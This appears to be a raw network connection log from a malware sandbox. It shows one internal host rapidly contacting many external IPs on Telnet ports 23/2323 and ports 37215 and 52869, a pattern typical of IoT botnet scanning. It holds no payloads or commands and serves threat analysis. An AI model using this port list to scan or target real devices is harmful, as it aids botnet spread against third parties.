Dec 4, 2024 20:34:27.868621111 CET	23	60787	142.8.161.214	192.168.2.14
Dec 4, 2024 20:34:27.868629932 CET	2323	60787	220.162.160.45	192.168.2.14
Dec 4, 2024 20:34:27.868638992 CET	23	60787	67.215.54.8	192.168.2.14
Dec 4, 2024 20:34:27.868648052 CET	60787	2323	192.168.2.14	139.203.168.53
Dec 4, 2024 20:34:27.868648052 CET	23	60787	36.173.135.124	192.168.2.14
Dec 4, 2024 20:34:27.868659973 CET	23	60787	175.54.171.246	192.168.2.14
Dec 4, 2024 20:34:27.868660927 CET	60787	23	192.168.2.14	142.8.161.214
Dec 4, 2024 20:34:27.868668079 CET	60787	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:27.868669033 CET	23	60787	84.172.76.218	192.168.2.14
Dec 4, 2024 20:34:27.868679047 CET	23	60787	99.251.34.246	192.168.2.14
Dec 4, 2024 20:34:27.868685007 CET	60787	2323	192.168.2.14	220.162.160.45
Dec 4, 2024 20:34:27.868688107 CET	23	60787	216.176.136.67	192.168.2.14
Dec 4, 2024 20:34:27.868695021 CET	60787	23	192.168.2.14	36.173.135.124
Dec 4, 2024 20:34:27.868697882 CET	2323	60787	171.161.255.216	192.168.2.14
Dec 4, 2024 20:34:27.868701935 CET	60787	23	192.168.2.14	175.54.171.246
Dec 4, 2024 20:34:27.868707895 CET	23	60787	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:27.868716955 CET	23	60787	213.194.145.218	192.168.2.14
Dec 4, 2024 20:34:27.868725061 CET	23	60787	184.99.73.225	192.168.2.14
Dec 4, 2024 20:34:27.868729115 CET	60787	23	192.168.2.14	84.172.76.218
Dec 4, 2024 20:34:27.868733883 CET	23	60787	40.179.182.146	192.168.2.14
Dec 4, 2024 20:34:27.868741989 CET	60787	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:27.868742943 CET	23	60787	182.216.226.152	192.168.2.14
Dec 4, 2024 20:34:27.868746996 CET	60787	23	192.168.2.14	99.251.34.246
Dec 4, 2024 20:34:27.868752003 CET	23	60787	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:27.868758917 CET	60787	23	192.168.2.14	184.99.73.225
Dec 4, 2024 20:34:27.868761063 CET	23	60787	195.88.180.72	192.168.2.14
Dec 4, 2024 20:34:27.868768930 CET	60787	23	192.168.2.14	40.179.182.146
Dec 4, 2024 20:34:27.868781090 CET	60787	23	192.168.2.14	216.176.136.67
Dec 4, 2024 20:34:27.868784904 CET	23	60787	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:27.868793964 CET	60787	2323	192.168.2.14	171.161.255.216
Dec 4, 2024 20:34:27.868794918 CET	23	60787	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:27.868802071 CET	60787	23	192.168.2.14	213.194.145.218
Dec 4, 2024 20:34:27.868803978 CET	23	60787	82.54.118.213	192.168.2.14
Dec 4, 2024 20:34:27.868813992 CET	23	60787	44.177.131.156	192.168.2.14
Dec 4, 2024 20:34:27.868817091 CET	60787	23	192.168.2.14	182.216.226.152
Dec 4, 2024 20:34:27.868822098 CET	23	60787	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:27.868830919 CET	23	60787	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:27.868839025 CET	60787	23	192.168.2.14	82.54.118.213
Dec 4, 2024 20:34:27.868839025 CET	60787	23	192.168.2.14	195.88.180.72
Dec 4, 2024 20:34:27.868839979 CET	23	60787	156.103.166.118	192.168.2.14
Dec 4, 2024 20:34:27.868841887 CET	60787	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:27.868841887 CET	60787	23	192.168.2.14	44.177.131.156
Dec 4, 2024 20:34:27.868848085 CET	2323	60787	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:27.868856907 CET	60787	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:27.868856907 CET	23	60787	72.154.248.245	192.168.2.14
Dec 4, 2024 20:34:27.868865967 CET	2323	60787	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:27.868869066 CET	60787	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:27.868875027 CET	60787	23	192.168.2.14	156.103.166.118
Dec 4, 2024 20:34:27.868875027 CET	23	60787	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:27.868884087 CET	23	60787	112.154.109.33	192.168.2.14
Dec 4, 2024 20:34:27.868890047 CET	60787	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:27.868891001 CET	60787	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:27.868892908 CET	23	60787	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:27.868901968 CET	2323	60787	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:27.868910074 CET	23	60787	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:27.868911982 CET	60787	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:27.868915081 CET	60787	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:27.868927956 CET	60787	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:27.868935108 CET	60787	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:27.868941069 CET	60787	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:27.868951082 CET	23	60787	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:27.868953943 CET	60787	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:27.868959904 CET	60787	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:27.868977070 CET	60787	23	192.168.2.14	112.154.109.33
Dec 4, 2024 20:34:27.868985891 CET	60787	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:27.889017105 CET	37215	59160	197.196.137.96	192.168.2.14
Dec 4, 2024 20:34:27.889178038 CET	37215	45444	197.143.6.121	192.168.2.14
Dec 4, 2024 20:34:27.889189959 CET	59160	37215	192.168.2.14	197.196.137.96
Dec 4, 2024 20:34:27.889231920 CET	60275	37215	192.168.2.14	197.192.58.48
Dec 4, 2024 20:34:27.889235973 CET	60275	37215	192.168.2.14	41.201.40.37
Dec 4, 2024 20:34:27.889239073 CET	60275	37215	192.168.2.14	156.223.246.183
Dec 4, 2024 20:34:27.889257908 CET	60275	37215	192.168.2.14	197.66.180.213
Dec 4, 2024 20:34:27.889257908 CET	60275	37215	192.168.2.14	156.230.46.243
Dec 4, 2024 20:34:27.889257908 CET	45444	37215	192.168.2.14	197.143.6.121
Dec 4, 2024 20:34:27.889305115 CET	60275	37215	192.168.2.14	156.249.227.74
Dec 4, 2024 20:34:27.889306068 CET	60275	37215	192.168.2.14	156.252.70.74
Dec 4, 2024 20:34:27.889308929 CET	60275	37215	192.168.2.14	197.7.28.154
Dec 4, 2024 20:34:27.889308929 CET	60275	37215	192.168.2.14	156.24.234.1
Dec 4, 2024 20:34:27.889312029 CET	60275	37215	192.168.2.14	197.100.82.150
Dec 4, 2024 20:34:27.889334917 CET	60275	37215	192.168.2.14	156.113.146.250
Dec 4, 2024 20:34:27.889338017 CET	60275	37215	192.168.2.14	156.1.216.178
Dec 4, 2024 20:34:27.889338017 CET	60275	37215	192.168.2.14	197.186.253.234
Dec 4, 2024 20:34:27.889338017 CET	60275	37215	192.168.2.14	156.20.220.89
Dec 4, 2024 20:34:27.889338017 CET	60275	37215	192.168.2.14	197.232.75.57
Dec 4, 2024 20:34:27.889338970 CET	60275	37215	192.168.2.14	41.191.113.11
Dec 4, 2024 20:34:27.889338970 CET	60275	37215	192.168.2.14	41.125.206.2
Dec 4, 2024 20:34:27.889343023 CET	60275	37215	192.168.2.14	41.134.14.170
Dec 4, 2024 20:34:27.889338970 CET	60275	37215	192.168.2.14	197.168.214.71
Dec 4, 2024 20:34:27.889343023 CET	60275	37215	192.168.2.14	41.166.66.247
Dec 4, 2024 20:34:27.889338970 CET	60275	37215	192.168.2.14	41.106.187.167
Dec 4, 2024 20:34:27.889348030 CET	60275	37215	192.168.2.14	156.85.215.165
Dec 4, 2024 20:34:27.889339924 CET	60275	37215	192.168.2.14	197.70.16.172
Dec 4, 2024 20:34:27.889338017 CET	60275	37215	192.168.2.14	156.235.91.156
Dec 4, 2024 20:34:27.889348030 CET	60275	37215	192.168.2.14	41.115.16.179
Dec 4, 2024 20:34:27.889343023 CET	60275	37215	192.168.2.14	156.125.25.81
Dec 4, 2024 20:34:27.889338017 CET	60275	37215	192.168.2.14	156.152.243.252
Dec 4, 2024 20:34:27.889343023 CET	60275	37215	192.168.2.14	41.52.175.55
Dec 4, 2024 20:34:27.889339924 CET	60275	37215	192.168.2.14	156.53.166.84
Dec 4, 2024 20:34:27.889348030 CET	60275	37215	192.168.2.14	156.250.113.145
Dec 4, 2024 20:34:27.889343023 CET	60275	37215	192.168.2.14	197.235.73.177
Dec 4, 2024 20:34:27.889358997 CET	60275	37215	192.168.2.14	41.237.236.248
Dec 4, 2024 20:34:27.889348030 CET	60275	37215	192.168.2.14	41.105.90.238
Dec 4, 2024 20:34:27.889358997 CET	60275	37215	192.168.2.14	156.246.11.94
Dec 4, 2024 20:34:27.889360905 CET	60275	37215	192.168.2.14	41.5.121.179
Dec 4, 2024 20:34:27.889348030 CET	60275	37215	192.168.2.14	197.194.36.250
Dec 4, 2024 20:34:27.889364958 CET	60275	37215	192.168.2.14	41.225.69.20
Dec 4, 2024 20:34:27.889348984 CET	60275	37215	192.168.2.14	197.169.194.109
Dec 4, 2024 20:34:27.889364958 CET	60275	37215	192.168.2.14	156.80.94.205
Dec 4, 2024 20:34:27.889348984 CET	60275	37215	192.168.2.14	197.80.112.11
Dec 4, 2024 20:34:27.889364958 CET	60275	37215	192.168.2.14	197.119.41.167
Dec 4, 2024 20:34:27.889358997 CET	60275	37215	192.168.2.14	197.16.226.87
Dec 4, 2024 20:34:27.889368057 CET	60275	37215	192.168.2.14	156.112.66.114
Dec 4, 2024 20:34:27.889368057 CET	60275	37215	192.168.2.14	197.121.95.190
Dec 4, 2024 20:34:27.889368057 CET	60275	37215	192.168.2.14	156.122.132.220
Dec 4, 2024 20:34:27.889368057 CET	60275	37215	192.168.2.14	197.99.87.238
Dec 4, 2024 20:34:27.889368057 CET	60275	37215	192.168.2.14	156.66.251.72
Dec 4, 2024 20:34:27.889368057 CET	60275	37215	192.168.2.14	41.127.220.114
Dec 4, 2024 20:34:27.889368057 CET	60275	37215	192.168.2.14	197.18.200.8
Dec 4, 2024 20:34:27.889368057 CET	60275	37215	192.168.2.14	197.74.76.230
Dec 4, 2024 20:34:27.889369965 CET	60275	37215	192.168.2.14	156.43.136.55
Dec 4, 2024 20:34:27.889370918 CET	60275	37215	192.168.2.14	197.39.82.147
Dec 4, 2024 20:34:27.889370918 CET	60275	37215	192.168.2.14	197.55.114.199
Dec 4, 2024 20:34:27.889370918 CET	60275	37215	192.168.2.14	197.246.138.106
Dec 4, 2024 20:34:27.889370918 CET	60275	37215	192.168.2.14	156.122.18.49
Dec 4, 2024 20:34:27.889369965 CET	60275	37215	192.168.2.14	156.141.138.48
Dec 4, 2024 20:34:27.889374018 CET	60275	37215	192.168.2.14	156.189.221.91
Dec 4, 2024 20:34:27.889369965 CET	60275	37215	192.168.2.14	156.147.64.94
Dec 4, 2024 20:34:27.889369965 CET	60275	37215	192.168.2.14	197.172.137.62
Dec 4, 2024 20:34:27.889369965 CET	60275	37215	192.168.2.14	197.73.57.37
Dec 4, 2024 20:34:27.889369965 CET	60275	37215	192.168.2.14	41.217.56.176
Dec 4, 2024 20:34:27.889393091 CET	60275	37215	192.168.2.14	41.221.48.209
Dec 4, 2024 20:34:27.889393091 CET	60275	37215	192.168.2.14	41.229.175.58
Dec 4, 2024 20:34:27.889393091 CET	60275	37215	192.168.2.14	197.96.9.219
Dec 4, 2024 20:34:27.889393091 CET	60275	37215	192.168.2.14	156.0.159.170
Dec 4, 2024 20:34:27.889393091 CET	60275	37215	192.168.2.14	41.31.26.237
Dec 4, 2024 20:34:27.889393091 CET	60275	37215	192.168.2.14	156.97.38.12
Dec 4, 2024 20:34:27.889395952 CET	60275	37215	192.168.2.14	156.84.156.181
Dec 4, 2024 20:34:27.889398098 CET	60275	37215	192.168.2.14	156.187.78.19
Dec 4, 2024 20:34:27.889398098 CET	60275	37215	192.168.2.14	197.99.234.82
Dec 4, 2024 20:34:27.889398098 CET	60275	37215	192.168.2.14	41.136.226.203
Dec 4, 2024 20:34:27.889398098 CET	60275	37215	192.168.2.14	197.145.141.92
Dec 4, 2024 20:34:27.889398098 CET	60275	37215	192.168.2.14	156.96.118.103
Dec 4, 2024 20:34:27.889398098 CET	60275	37215	192.168.2.14	156.30.191.160
Dec 4, 2024 20:34:27.889398098 CET	60275	37215	192.168.2.14	197.71.245.184
Dec 4, 2024 20:34:27.889398098 CET	60275	37215	192.168.2.14	41.176.208.118
Dec 4, 2024 20:34:27.889403105 CET	60275	37215	192.168.2.14	156.229.42.183
Dec 4, 2024 20:34:27.889403105 CET	60275	37215	192.168.2.14	197.121.233.51
Dec 4, 2024 20:34:27.889403105 CET	60275	37215	192.168.2.14	41.98.219.41
Dec 4, 2024 20:34:27.889405966 CET	60275	37215	192.168.2.14	197.2.3.25
Dec 4, 2024 20:34:27.889408112 CET	60275	37215	192.168.2.14	156.30.3.225
Dec 4, 2024 20:34:27.889408112 CET	60275	37215	192.168.2.14	197.236.85.123
Dec 4, 2024 20:34:27.889408112 CET	60275	37215	192.168.2.14	197.216.57.220
Dec 4, 2024 20:34:27.889409065 CET	60275	37215	192.168.2.14	156.171.40.112
Dec 4, 2024 20:34:27.889409065 CET	60275	37215	192.168.2.14	197.52.198.39
Dec 4, 2024 20:34:27.889409065 CET	60275	37215	192.168.2.14	41.17.218.66
Dec 4, 2024 20:34:27.889409065 CET	60275	37215	192.168.2.14	156.92.13.132
Dec 4, 2024 20:34:27.889413118 CET	60275	37215	192.168.2.14	197.160.214.171
Dec 4, 2024 20:34:27.889414072 CET	60275	37215	192.168.2.14	41.3.211.64
Dec 4, 2024 20:34:27.889414072 CET	60275	37215	192.168.2.14	41.254.227.232
Dec 4, 2024 20:34:27.889414072 CET	60275	37215	192.168.2.14	197.178.112.217
Dec 4, 2024 20:34:27.889421940 CET	60275	37215	192.168.2.14	156.54.231.127
Dec 4, 2024 20:34:27.889421940 CET	60275	37215	192.168.2.14	41.96.192.168
Dec 4, 2024 20:34:27.889422894 CET	60275	37215	192.168.2.14	41.64.46.47
Dec 4, 2024 20:34:27.889422894 CET	60275	37215	192.168.2.14	41.146.131.109
Dec 4, 2024 20:34:27.889426947 CET	60275	37215	192.168.2.14	197.196.168.71
Dec 4, 2024 20:34:27.889426947 CET	60275	37215	192.168.2.14	197.131.75.15
Dec 4, 2024 20:34:27.889426947 CET	60275	37215	192.168.2.14	41.131.202.187
Dec 4, 2024 20:34:27.889427900 CET	60275	37215	192.168.2.14	156.30.3.69
Dec 4, 2024 20:34:27.889426947 CET	60275	37215	192.168.2.14	156.222.170.8
Dec 4, 2024 20:34:27.889427900 CET	60275	37215	192.168.2.14	156.146.244.255
Dec 4, 2024 20:34:27.889427900 CET	60275	37215	192.168.2.14	156.191.249.128
Dec 4, 2024 20:34:27.889431000 CET	60275	37215	192.168.2.14	156.231.161.159
Dec 4, 2024 20:34:27.889431953 CET	60275	37215	192.168.2.14	41.17.54.95
Dec 4, 2024 20:34:27.889455080 CET	60275	37215	192.168.2.14	41.245.108.8
Dec 4, 2024 20:34:27.889456034 CET	60275	37215	192.168.2.14	156.201.211.148
Dec 4, 2024 20:34:27.889455080 CET	60275	37215	192.168.2.14	156.183.142.123
Dec 4, 2024 20:34:27.889455080 CET	60275	37215	192.168.2.14	41.84.137.195
Dec 4, 2024 20:34:27.889456034 CET	60275	37215	192.168.2.14	197.164.188.99
Dec 4, 2024 20:34:27.889456034 CET	60275	37215	192.168.2.14	197.91.76.210
Dec 4, 2024 20:34:27.889456034 CET	60275	37215	192.168.2.14	197.176.233.175
Dec 4, 2024 20:34:27.889455080 CET	60275	37215	192.168.2.14	156.106.98.24
Dec 4, 2024 20:34:27.889458895 CET	60275	37215	192.168.2.14	41.234.244.129
Dec 4, 2024 20:34:27.889456034 CET	60275	37215	192.168.2.14	41.40.73.99
Dec 4, 2024 20:34:27.889455080 CET	60275	37215	192.168.2.14	156.214.219.59
Dec 4, 2024 20:34:27.889456034 CET	60275	37215	192.168.2.14	156.227.247.193
Dec 4, 2024 20:34:27.889467001 CET	60275	37215	192.168.2.14	41.228.110.207
Dec 4, 2024 20:34:27.889455080 CET	60275	37215	192.168.2.14	197.93.220.20
Dec 4, 2024 20:34:27.889456034 CET	60275	37215	192.168.2.14	41.159.208.187
Dec 4, 2024 20:34:27.889467001 CET	60275	37215	192.168.2.14	197.116.189.147
Dec 4, 2024 20:34:27.889466047 CET	60275	37215	192.168.2.14	156.249.34.154
Dec 4, 2024 20:34:27.889455080 CET	60275	37215	192.168.2.14	41.13.15.196
Dec 4, 2024 20:34:27.889458895 CET	60275	37215	192.168.2.14	156.84.169.7
Dec 4, 2024 20:34:27.889455080 CET	60275	37215	192.168.2.14	41.76.247.176
Dec 4, 2024 20:34:27.889458895 CET	60275	37215	192.168.2.14	41.200.106.165
Dec 4, 2024 20:34:27.889455080 CET	60275	37215	192.168.2.14	41.206.213.190
Dec 4, 2024 20:34:27.889458895 CET	60275	37215	192.168.2.14	197.113.73.0
Dec 4, 2024 20:34:27.889455080 CET	60275	37215	192.168.2.14	156.232.68.162
Dec 4, 2024 20:34:27.889458895 CET	60275	37215	192.168.2.14	156.87.118.2
Dec 4, 2024 20:34:27.889477015 CET	60275	37215	192.168.2.14	197.218.242.13
Dec 4, 2024 20:34:27.889458895 CET	60275	37215	192.168.2.14	197.7.132.86
Dec 4, 2024 20:34:27.889476061 CET	60275	37215	192.168.2.14	197.166.190.126
Dec 4, 2024 20:34:27.889477015 CET	60275	37215	192.168.2.14	156.63.141.238
Dec 4, 2024 20:34:27.889458895 CET	60275	37215	192.168.2.14	41.39.192.239
Dec 4, 2024 20:34:27.889477015 CET	60275	37215	192.168.2.14	156.102.108.126
Dec 4, 2024 20:34:27.889458895 CET	60275	37215	192.168.2.14	41.253.75.87
Dec 4, 2024 20:34:27.889476061 CET	60275	37215	192.168.2.14	156.58.144.134
Dec 4, 2024 20:34:27.889477015 CET	60275	37215	192.168.2.14	156.0.140.101
Dec 4, 2024 20:34:27.889482975 CET	60275	37215	192.168.2.14	156.56.210.4
Dec 4, 2024 20:34:27.889477015 CET	60275	37215	192.168.2.14	41.141.75.247
Dec 4, 2024 20:34:27.889482975 CET	60275	37215	192.168.2.14	197.110.58.136
Dec 4, 2024 20:34:27.889482975 CET	60275	37215	192.168.2.14	197.105.55.192
Dec 4, 2024 20:34:27.889486074 CET	60275	37215	192.168.2.14	197.204.200.43
Dec 4, 2024 20:34:27.889486074 CET	60275	37215	192.168.2.14	156.241.58.6
Dec 4, 2024 20:34:27.889487028 CET	60275	37215	192.168.2.14	197.130.186.136
Dec 4, 2024 20:34:27.889487028 CET	60275	37215	192.168.2.14	156.143.56.249
Dec 4, 2024 20:34:27.889491081 CET	60275	37215	192.168.2.14	41.98.152.224
Dec 4, 2024 20:34:27.889492035 CET	60275	37215	192.168.2.14	41.95.39.7
Dec 4, 2024 20:34:27.889492035 CET	60275	37215	192.168.2.14	41.222.51.6
Dec 4, 2024 20:34:27.889492989 CET	60275	37215	192.168.2.14	197.23.123.149
Dec 4, 2024 20:34:27.889492035 CET	60275	37215	192.168.2.14	41.195.173.115
Dec 4, 2024 20:34:27.889492989 CET	60275	37215	192.168.2.14	156.249.16.242
Dec 4, 2024 20:34:27.889492035 CET	60275	37215	192.168.2.14	197.39.203.202
Dec 4, 2024 20:34:27.889492989 CET	60275	37215	192.168.2.14	41.209.177.14
Dec 4, 2024 20:34:27.889492035 CET	60275	37215	192.168.2.14	41.106.106.98
Dec 4, 2024 20:34:27.889493942 CET	60275	37215	192.168.2.14	41.94.172.250
Dec 4, 2024 20:34:27.889494896 CET	60275	37215	192.168.2.14	156.98.209.177
Dec 4, 2024 20:34:27.889493942 CET	60275	37215	192.168.2.14	41.73.158.66
Dec 4, 2024 20:34:27.889493942 CET	60275	37215	192.168.2.14	156.197.238.21
Dec 4, 2024 20:34:27.889493942 CET	60275	37215	192.168.2.14	41.161.62.210
Dec 4, 2024 20:34:27.889563084 CET	59160	37215	192.168.2.14	197.196.137.96
Dec 4, 2024 20:34:27.889563084 CET	59160	37215	192.168.2.14	197.196.137.96
Dec 4, 2024 20:34:27.889990091 CET	59654	37215	192.168.2.14	197.196.137.96
Dec 4, 2024 20:34:27.890300989 CET	45444	37215	192.168.2.14	197.143.6.121
Dec 4, 2024 20:34:27.890300989 CET	45444	37215	192.168.2.14	197.143.6.121
Dec 4, 2024 20:34:27.890542984 CET	45992	37215	192.168.2.14	197.143.6.121
Dec 4, 2024 20:34:27.894665956 CET	47200	37215	192.168.2.14	156.246.142.144
Dec 4, 2024 20:34:27.894670963 CET	46306	52869	192.168.2.14	41.183.46.202
Dec 4, 2024 20:34:27.894670963 CET	44732	37215	192.168.2.14	156.196.176.20
Dec 4, 2024 20:34:27.894671917 CET	36072	37215	192.168.2.14	197.214.0.190
Dec 4, 2024 20:34:27.894671917 CET	45774	52869	192.168.2.14	156.199.59.166
Dec 4, 2024 20:34:27.894671917 CET	53820	37215	192.168.2.14	41.105.81.176
Dec 4, 2024 20:34:27.894673109 CET	49932	37215	192.168.2.14	156.15.219.247
Dec 4, 2024 20:34:27.894680023 CET	39792	37215	192.168.2.14	197.42.248.169
Dec 4, 2024 20:34:27.894680023 CET	44556	37215	192.168.2.14	197.35.197.202
Dec 4, 2024 20:34:27.894690990 CET	35908	52869	192.168.2.14	197.30.212.88
Dec 4, 2024 20:34:27.894699097 CET	46836	52869	192.168.2.14	197.30.16.119
Dec 4, 2024 20:34:27.894701004 CET	38400	52869	192.168.2.14	156.93.153.88
Dec 4, 2024 20:34:27.894704103 CET	36972	37215	192.168.2.14	41.49.70.143
Dec 4, 2024 20:34:27.894705057 CET	42288	37215	192.168.2.14	156.127.137.224
Dec 4, 2024 20:34:27.894710064 CET	59588	52869	192.168.2.14	41.199.190.34
Dec 4, 2024 20:34:27.894710064 CET	60254	37215	192.168.2.14	41.132.100.177
Dec 4, 2024 20:34:27.894711018 CET	36426	37215	192.168.2.14	41.113.111.126
Dec 4, 2024 20:34:27.894710064 CET	42430	37215	192.168.2.14	41.127.162.160
Dec 4, 2024 20:34:27.894711971 CET	46924	52869	192.168.2.14	41.19.117.92
Dec 4, 2024 20:34:27.894721031 CET	47792	37215	192.168.2.14	156.46.231.49
Dec 4, 2024 20:34:27.894721031 CET	51906	52869	192.168.2.14	156.179.3.91
Dec 4, 2024 20:34:27.894721985 CET	49266	37215	192.168.2.14	156.147.35.244
Dec 4, 2024 20:34:27.894726992 CET	56280	37215	192.168.2.14	197.100.48.63
Dec 4, 2024 20:34:27.894726992 CET	42030	52869	192.168.2.14	197.208.106.255
Dec 4, 2024 20:34:27.894726992 CET	34248	37215	192.168.2.14	156.48.9.140
Dec 4, 2024 20:34:27.894726992 CET	54166	52869	192.168.2.14	156.168.207.39
Dec 4, 2024 20:34:27.894727945 CET	43588	52869	192.168.2.14	197.189.47.51
Dec 4, 2024 20:34:27.894727945 CET	40124	52869	192.168.2.14	41.63.183.123
Dec 4, 2024 20:34:27.894727945 CET	48022	52869	192.168.2.14	41.6.59.74
Dec 4, 2024 20:34:27.894730091 CET	49526	52869	192.168.2.14	156.18.91.222
Dec 4, 2024 20:34:27.894730091 CET	33584	37215	192.168.2.14	197.106.146.54
Dec 4, 2024 20:34:27.894730091 CET	42072	52869	192.168.2.14	156.82.221.129
Dec 4, 2024 20:34:27.894730091 CET	41082	52869	192.168.2.14	41.74.65.247
Dec 4, 2024 20:34:27.894731045 CET	43934	52869	192.168.2.14	41.193.13.127
Dec 4, 2024 20:34:27.894733906 CET	36836	52869	192.168.2.14	156.240.145.137
Dec 4, 2024 20:34:27.894733906 CET	48992	52869	192.168.2.14	197.50.121.64
Dec 4, 2024 20:34:27.894736052 CET	33946	52869	192.168.2.14	197.172.165.205
Dec 4, 2024 20:34:27.919116974 CET	37215	34526	41.69.105.118	192.168.2.14
Dec 4, 2024 20:34:27.919127941 CET	52869	38580	156.195.70.58	192.168.2.14
Dec 4, 2024 20:34:27.919137955 CET	37215	37104	197.79.168.188	192.168.2.14
Dec 4, 2024 20:34:27.919154882 CET	34526	37215	192.168.2.14	41.69.105.118
Dec 4, 2024 20:34:27.919169903 CET	38580	52869	192.168.2.14	156.195.70.58
Dec 4, 2024 20:34:27.919189930 CET	37104	37215	192.168.2.14	197.79.168.188
Dec 4, 2024 20:34:27.919229031 CET	37104	37215	192.168.2.14	197.79.168.188
Dec 4, 2024 20:34:27.919229031 CET	37104	37215	192.168.2.14	197.79.168.188
Dec 4, 2024 20:34:27.919277906 CET	60019	52869	192.168.2.14	41.58.254.48
Dec 4, 2024 20:34:27.919281006 CET	60019	52869	192.168.2.14	197.96.143.60
Dec 4, 2024 20:34:27.919286966 CET	60019	52869	192.168.2.14	156.228.117.195
Dec 4, 2024 20:34:27.919286966 CET	60019	52869	192.168.2.14	156.128.207.21
Dec 4, 2024 20:34:27.919292927 CET	60019	52869	192.168.2.14	197.229.184.13
Dec 4, 2024 20:34:27.919294119 CET	60019	52869	192.168.2.14	197.191.53.45
Dec 4, 2024 20:34:27.919295073 CET	60019	52869	192.168.2.14	156.136.27.167
Dec 4, 2024 20:34:27.919295073 CET	60019	52869	192.168.2.14	197.144.4.2
Dec 4, 2024 20:34:27.919317961 CET	60019	52869	192.168.2.14	156.60.187.186
Dec 4, 2024 20:34:27.919331074 CET	60019	52869	192.168.2.14	197.247.230.145
Dec 4, 2024 20:34:27.919332981 CET	60019	52869	192.168.2.14	156.93.250.169
Dec 4, 2024 20:34:27.919332981 CET	60019	52869	192.168.2.14	156.8.21.87
Dec 4, 2024 20:34:27.919332981 CET	60019	52869	192.168.2.14	197.253.195.129
Dec 4, 2024 20:34:27.919338942 CET	60019	52869	192.168.2.14	41.250.123.237
Dec 4, 2024 20:34:27.919342041 CET	60019	52869	192.168.2.14	156.184.222.157
Dec 4, 2024 20:34:27.919346094 CET	60019	52869	192.168.2.14	41.83.7.205
Dec 4, 2024 20:34:27.919353008 CET	60019	52869	192.168.2.14	156.247.36.196
Dec 4, 2024 20:34:27.919353008 CET	60019	52869	192.168.2.14	41.81.157.21
Dec 4, 2024 20:34:27.919353962 CET	60019	52869	192.168.2.14	156.243.106.145
Dec 4, 2024 20:34:27.919353962 CET	60019	52869	192.168.2.14	197.83.49.146
Dec 4, 2024 20:34:27.919357061 CET	60019	52869	192.168.2.14	197.110.13.135
Dec 4, 2024 20:34:27.919367075 CET	60019	52869	192.168.2.14	156.175.67.185
Dec 4, 2024 20:34:27.919378996 CET	60019	52869	192.168.2.14	197.140.232.55
Dec 4, 2024 20:34:27.919378996 CET	60019	52869	192.168.2.14	41.66.75.183
Dec 4, 2024 20:34:27.919378996 CET	60019	52869	192.168.2.14	41.181.62.247
Dec 4, 2024 20:34:27.919383049 CET	60019	52869	192.168.2.14	197.175.143.180
Dec 4, 2024 20:34:27.919404984 CET	60019	52869	192.168.2.14	156.99.63.41
Dec 4, 2024 20:34:27.919413090 CET	60019	52869	192.168.2.14	156.203.134.248
Dec 4, 2024 20:34:27.919414043 CET	60019	52869	192.168.2.14	156.99.7.121
Dec 4, 2024 20:34:27.919430017 CET	60019	52869	192.168.2.14	156.156.182.222
Dec 4, 2024 20:34:27.919440985 CET	60019	52869	192.168.2.14	41.180.127.84
Dec 4, 2024 20:34:27.919445992 CET	60019	52869	192.168.2.14	41.210.121.39
Dec 4, 2024 20:34:27.919445992 CET	60019	52869	192.168.2.14	156.246.56.109
Dec 4, 2024 20:34:27.919445992 CET	60019	52869	192.168.2.14	197.213.83.230
Dec 4, 2024 20:34:27.919447899 CET	60019	52869	192.168.2.14	197.91.152.86
Dec 4, 2024 20:34:27.919440985 CET	60019	52869	192.168.2.14	156.212.99.105
Dec 4, 2024 20:34:27.919447899 CET	60019	52869	192.168.2.14	41.70.178.191
Dec 4, 2024 20:34:27.919462919 CET	60019	52869	192.168.2.14	41.54.93.197
Dec 4, 2024 20:34:27.919462919 CET	60019	52869	192.168.2.14	156.217.28.59
Dec 4, 2024 20:34:27.919465065 CET	60019	52869	192.168.2.14	156.149.17.200
Dec 4, 2024 20:34:27.919465065 CET	60019	52869	192.168.2.14	156.17.65.255
Dec 4, 2024 20:34:27.919465065 CET	60019	52869	192.168.2.14	197.61.166.90
Dec 4, 2024 20:34:27.919470072 CET	60019	52869	192.168.2.14	197.160.89.90
Dec 4, 2024 20:34:27.919470072 CET	60019	52869	192.168.2.14	197.14.60.143
Dec 4, 2024 20:34:27.919471025 CET	60019	52869	192.168.2.14	41.165.186.236
Dec 4, 2024 20:34:27.919471025 CET	60019	52869	192.168.2.14	41.14.207.190
Dec 4, 2024 20:34:27.919471025 CET	60019	52869	192.168.2.14	197.107.13.98
Dec 4, 2024 20:34:27.919471025 CET	60019	52869	192.168.2.14	156.19.250.71
Dec 4, 2024 20:34:27.919471025 CET	60019	52869	192.168.2.14	197.4.95.217
Dec 4, 2024 20:34:27.919480085 CET	60019	52869	192.168.2.14	41.219.193.151
Dec 4, 2024 20:34:27.919481993 CET	60019	52869	192.168.2.14	41.206.90.212
Dec 4, 2024 20:34:27.919482946 CET	60019	52869	192.168.2.14	197.220.152.128
Dec 4, 2024 20:34:27.919485092 CET	60019	52869	192.168.2.14	156.38.138.186
Dec 4, 2024 20:34:27.919486046 CET	60019	52869	192.168.2.14	156.8.253.138
